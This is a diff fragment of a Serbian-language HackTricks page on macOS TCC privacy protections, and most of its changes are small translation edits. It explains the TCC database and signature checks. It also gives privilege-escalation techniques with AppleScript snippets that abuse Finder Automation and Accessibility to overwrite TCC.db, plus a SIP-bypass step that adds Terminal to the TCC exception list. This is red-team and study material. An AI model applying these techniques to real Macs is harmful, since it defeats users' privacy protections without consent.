* SIP zaštićena datoteka **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (takođe zaštićena od čitanja pristupa sa TCC), sadrži više TCC odobrenih dozvola.
|
||||
* SIP zaštićena datoteka **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (ali čitljiva od strane bilo koga) je lista aplikacija koje zahtevaju TCC izuzetak.
|
||||
|
@ -175,7 +175,7 @@ Jednostavno uradite **`launctl load you_bin.plist`**, sa plist fajlom kao što j
|
|||
|
||||
* **`auth_value`** može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3).
|
||||
* **`auth_reason`** može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole:
|
||||
* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti dozvole TCC-a:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -209,7 +209,7 @@ tccutil reset All
|
|||
```
|
||||
### Provere potpisa TCC
|
||||
|
||||
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe **čuva** **informacije** o **potpisu** kako bi **proverila** da li aplikacija koja traži dozvolu za korišćenje određene funkcije jeste tačno određena aplikacija.
|
||||
TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe čuva i **informacije** o **potpisu** kako bi se **proverilo** da li aplikacija koja traži dozvolu za korišćenje određene funkcije jeste tačno određena aplikacija.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -224,7 +224,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Zbog toga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama date drugim aplikacijama.
|
||||
Stoga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama dodeljenim drugim aplikacijama.
|
||||
{% endhint %}
|
||||
|
||||
### Ovlašćenja i TCC Dozvole
|
||||
|
@ -232,7 +232,7 @@ Zbog toga, druge aplikacije koje koriste isto ime i identifikator paketa neće m
|
|||
Aplikacije **ne samo da moraju** zatražiti i dobiti **pristup** određenim resursima, već takođe moraju **imati relevantna ovlašćenja**.\
|
||||
Na primer, **Telegram** ima ovlašćenje `com.apple.security.device.camera` da zatraži **pristup kameri**. Aplikacija koja **nema** ovo **ovlašćenje neće moći** pristupiti kameri (i korisnik neće biti ni pitao za dozvole).
|
||||
|
||||
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati specifična **ovlašćenja.** Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
||||
Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja**. Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi.
|
||||
|
||||
Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi ovlašćenja, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer:
|
||||
```bash
|
||||
|
@ -245,7 +245,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
<string>kTCCServiceAddressBook</string>
|
||||
</array>
|
||||
```
|
||||
Ovo će sprečiti Kalendar da zatraži od korisnika pristup podsetnicima, kalendaru i adresaru.
|
||||
Ovo će sprečiti Kalendar da traži od korisnika pristup podsetnicima, kalendaru i adresaru.
|
||||
|
||||
{% hint style="success" %}
|
||||
Pored nekih zvaničnih dokumenata o ovlašćenjima, takođe je moguće pronaći nezvanične **interesantne informacije o ovlašćenjima na** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
|
||||
|
@ -256,12 +256,12 @@ Neke TCC dozvole su: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePho
|
|||
### Osetljiva nezaštićena mesta
|
||||
|
||||
* $HOME (sama po sebi)
|
||||
* $HOME/.ssh, $HOME/.aws, itd.
|
||||
* $HOME/.ssh, $HOME/.aws, itd
|
||||
* /tmp
|
||||
|
||||
### Korisnička namera / com.apple.macl
|
||||
|
||||
Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut fajla**. Ovaj atribut će **čuvati UUID** odobrene aplikacije:
|
||||
Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji za datoteku prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut datoteke**. Ovaj atribut će **čuvati UUID** odobrenje aplikacije:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
|
||||
### TCC Payloads
|
||||
|
||||
Ako ste uspeli da uđete u aplikaciju sa određenim TCC dozvolama, proverite sledeću stranicu sa TCC payloadima kako biste ih zloupotrebili:
|
||||
Ako ste uspeli da uđete u aplikaciju sa nekim TCC dozvolama, proverite sledeću stranicu sa TCC payloadima kako biste ih zloupotrebili:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
|
@ -347,7 +347,7 @@ Ako ste uspeli da uđete u aplikaciju sa određenim TCC dozvolama, proverite sle
|
|||
Ime TCC dozvole za Automatizaciju je: **`kTCCServiceAppleEvents`**\
|
||||
Ova specifična TCC dozvola takođe ukazuje na **aplikaciju koja može biti upravljana** unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime).
|
||||
|
||||
**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **izvršite određene akcije**.\
|
||||
**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **izvršava određene akcije**.\
|
||||
U ovom slučaju, vaša aplikacija bi trebalo da ima dozvolu **`kTCCServiceAppleEvents`** nad **`com.apple.Finder`**.
|
||||
|
||||
{% tabs %}
|
||||
|
@ -381,14 +381,14 @@ EOD
|
|||
Možete zloupotrebiti ovo da **napišete svoju bazu podataka korisnika TCC**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sa ovlašćenjem moći ćete **zatražiti od Findera pristup ograničenim fasciklama TCC** i dati vam fajlove, ali koliko znam nećete moći da naterate Finder da izvrši proizvoljni kod kako biste potpuno zloupotrebili njegov pristup FDA.
|
||||
Sa ovlašćenjem moći ćete **zatražiti od Findera pristup ograničenim fasciklama TCC** i dati vam fajlove, ali koliko znam, **nećete moći naterati Finder da izvrši proizvoljan kod** kako biste potpuno zloupotrebili njegov pristup FDA.
|
||||
|
||||
Stoga, nećete moći zloupotrebiti sve mogućnosti FDA.
|
||||
{% endhint %}
|
||||
|
||||
Ovo je TCC prozor za dobijanje privilegija automatizacije nad Finderom:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da zato što aplikacija **Automator** ima TCC ovlašćenje **`kTCCServiceAppleEvents`**, može **kontrolisati bilo koju aplikaciju**, poput Findera. Dakle, imajući ovlašćenje za kontrolu Automatora, takođe biste mogli kontrolisati **Finder** pomoću koda kao što je prikazano ispod:
|
||||
|
@ -466,9 +466,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### Automatizacija (SE) + Pristupačnost (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** do FDA\*
|
||||
|
||||
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera ka procesima**. Na ovaj način možete zloupotrebiti Finder da promenite korisnički TCC.db ili da date FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
||||
Automatizacija na **`System Events`** + Pristupačnost (**`kTCCServicePostEvent`**) omogućava slanje **tastera ka procesima**. Na ovaj način možete zloupotrebiti Finder kako biste promenili korisnički TCC.db ili dali FDA proizvoljnoj aplikaciji (mada će možda biti potrebna lozinka za ovo).
|
||||
|
||||
Primer prebrisavanja korisničkog TCC.db preko Findera:
|
||||
Primer prebrisavanja korisničkog TCC.db fajla pomoću Findera:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -516,7 +516,7 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility` ka FDA\*
|
||||
|
||||
Posetite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privesc do FDA\* ili pokrenuli keylogger na primer.
|
||||
Proverite ovu stranicu za neke [**payload-ove za zloupotrebu dozvola za pristupačnost**](macos-tcc-payloads.md#accessibility) kako biste postigli privilegovan pristup do FDA\* ili na primer pokrenuli keylogger.
|
||||
|
||||
### **Klijent za bezbednost krajnjih tačaka ka FDA**
|
||||
|
||||
|
@ -528,33 +528,33 @@ Ako imate **`kTCCServiceEndpointSecurityClient`**, imate FDA. Kraj.
|
|||
|
||||
### Korisnička TCC baza podataka ka FDA
|
||||
|
||||
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **dozvole za FDA**, samo onaj koji živi u sistemskoj bazi podataka može to da dodeli.
|
||||
Dobijanjem **dozvola za pisanje** nad **korisničkom TCC** bazom podataka ne možete sebi dodeliti **`FDA`** dozvole, samo onaj koji živi u sistemskoj bazi podataka može to da dodeli.
|
||||
|
||||
Ali možete sebi dati **`Automatizaciju prava za Finder`**, i zloupotrebiti prethodnu tehniku za pristup FDA\*.
|
||||
Ali možete sebi dati **`Automatizaciju prava za Finder`**, i zloupotrebiti prethodnu tehniku za eskalaciju do FDA\*.
|
||||
|
||||
### **FDA ka TCC dozvolama**
|
||||
|
||||
**Pristup celom disku** u TCC-u se naziva **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
Ne mislim da je ovo pravi privesc, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA, možete **izmeniti korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
||||
Ne mislim da je ovo pravi pristup privilegijama, ali u slučaju da vam bude korisno: Ako kontrolišete program sa FDA možete **modifikovati korisničku TCC bazu podataka i sebi dodeliti bilo kakav pristup**. Ovo može biti korisno kao tehnika upornosti u slučaju da izgubite svoje FDA dozvole.
|
||||
|
||||
### **SIP zaobilazak ka TCC zaobilasku**
|
||||
|
||||
Sistem **TCC baza podataka** je zaštićena od strane **SIP**, zbog čega samo procesi sa **naznačenim privilegijama** mogu da je izmene. Dakle, ako napadač pronađe **SIP zaobilazak** nad **fajlom** (može da izmeni fajl ograničen SIP-om), biće u mogućnosti da:
|
||||
Sistem **TCC baza podataka** je zaštićena sa **SIP**, zbog toga samo procesi sa **naznačenim privilegijama** mogu da je modifikuju. Dakle, ako napadač pronađe **SIP zaobilazak** nad **fajlom** (može da modifikuje fajl ograničen SIP-om), biće u mogućnosti da:
|
||||
|
||||
* **Ukloni zaštitu** TCC baze podataka i dodeli sebi sve TCC dozvole. Mogao bi zloupotrebiti bilo koji od ovih fajlova na primer:
|
||||
* TCC sistemsku bazu podataka
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
|
||||
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC-a**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju**, aplikacija će moći da zaobiđe TCC.\
|
||||
Na primer, dodavanje terminala:
|
||||
Međutim, postoji još jedna opcija za zloupotrebu ovog **SIP zaobilaska za zaobilaženje TCC-a**, fajl `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` je lista aplikacija koje zahtevaju TCC izuzetak. Dakle, ako napadač može **ukloniti SIP zaštitu** sa ovog fajla i dodati svoju **sopstvenu aplikaciju** aplikacija će moći da zaobiđe TCC.\
|
||||
Na primer, da dodate terminal:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
```plaintext
|
||||
DozvoljeneAplikacijeList.plist:
|
||||
DozvoljeneAplikacijeLista.plist:
|
||||
```
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -578,7 +578,7 @@ DozvoljeneAplikacijeList.plist:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC Bypasses
|
||||
### TCC Bypassi
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
|
@ -590,3 +590,17 @@ DozvoljeneAplikacijeList.plist:
|
|||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|